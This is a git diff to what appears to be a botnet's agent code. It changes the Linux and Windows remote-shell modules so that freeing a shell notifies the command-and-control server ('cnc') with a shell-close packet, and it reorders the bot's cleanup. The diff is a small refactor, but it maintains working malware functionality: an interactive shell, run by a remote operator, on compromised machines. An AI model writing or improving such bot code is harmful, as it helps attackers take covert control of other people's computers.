diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c index 048747e..051cdae 100644 --- a/bot/lin/linshell.c +++ b/bot/lin/linshell.c @@ -49,6 +49,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { kill(shell->pid, SIGTERM); close(shell->fd); + /* tell cnc shell is closed */ + laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); + bot->shell = NULL; laikaM_free(shell); @@ -73,11 +76,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN) return true; /* recoverable, there was no data to read */ /* not EWOULD or EAGAIN, must be an error! so close the shell */ - - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - - /* kill shell */ laikaB_freeShell(bot, shell); return false; } @@ -97,11 +95,6 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char /* some error occurred */ if (length == nLeft) { /* unrecoverable error */ - - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - - /* kill shell */ laikaB_freeShell(bot, shell); return false; } else { /* recoverable */ diff --git a/bot/src/bot.c b/bot/src/bot.c index 4a13e76..e6854cc 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -114,14 +114,13 @@ struct sLaika_bot *laikaB_newBot(void) { void laikaB_freeBot(struct sLaika_bot *bot) { int i; - laikaP_cleanPList(&bot->pList); - laikaS_freePeer(bot->peer); - laikaT_cleanTaskService(&bot->tService); - /* clear shell */ if (bot->shell) laikaB_freeShell(bot, bot->shell); + laikaP_cleanPList(&bot->pList); + laikaS_freePeer(bot->peer); + laikaT_cleanTaskService(&bot->tService); laikaM_free(bot); } diff --git a/bot/win/winshell.c b/bot/win/winshell.c index b6eb090..b56383b 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -146,6 +146,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { /* close pseudo console */ ClosePseudoConsole(shell->pseudoCon); + /* tell cnc shell is closed */ + laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); + /* free shell struct */ laikaM_free(shell); bot->shell = NULL; @@ -171,11 +174,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) return true; /* recoverable, process is still alive */ /* unrecoverable error */ - - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - - /* kill shell */ laikaB_freeShell(bot, shell); return false; } @@ -193,11 +191,6 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char while (nLeft > 0) { if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) { /* unrecoverable error */ - - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - - /* kill shell */ laikaB_freeShell(bot, shell); return false; }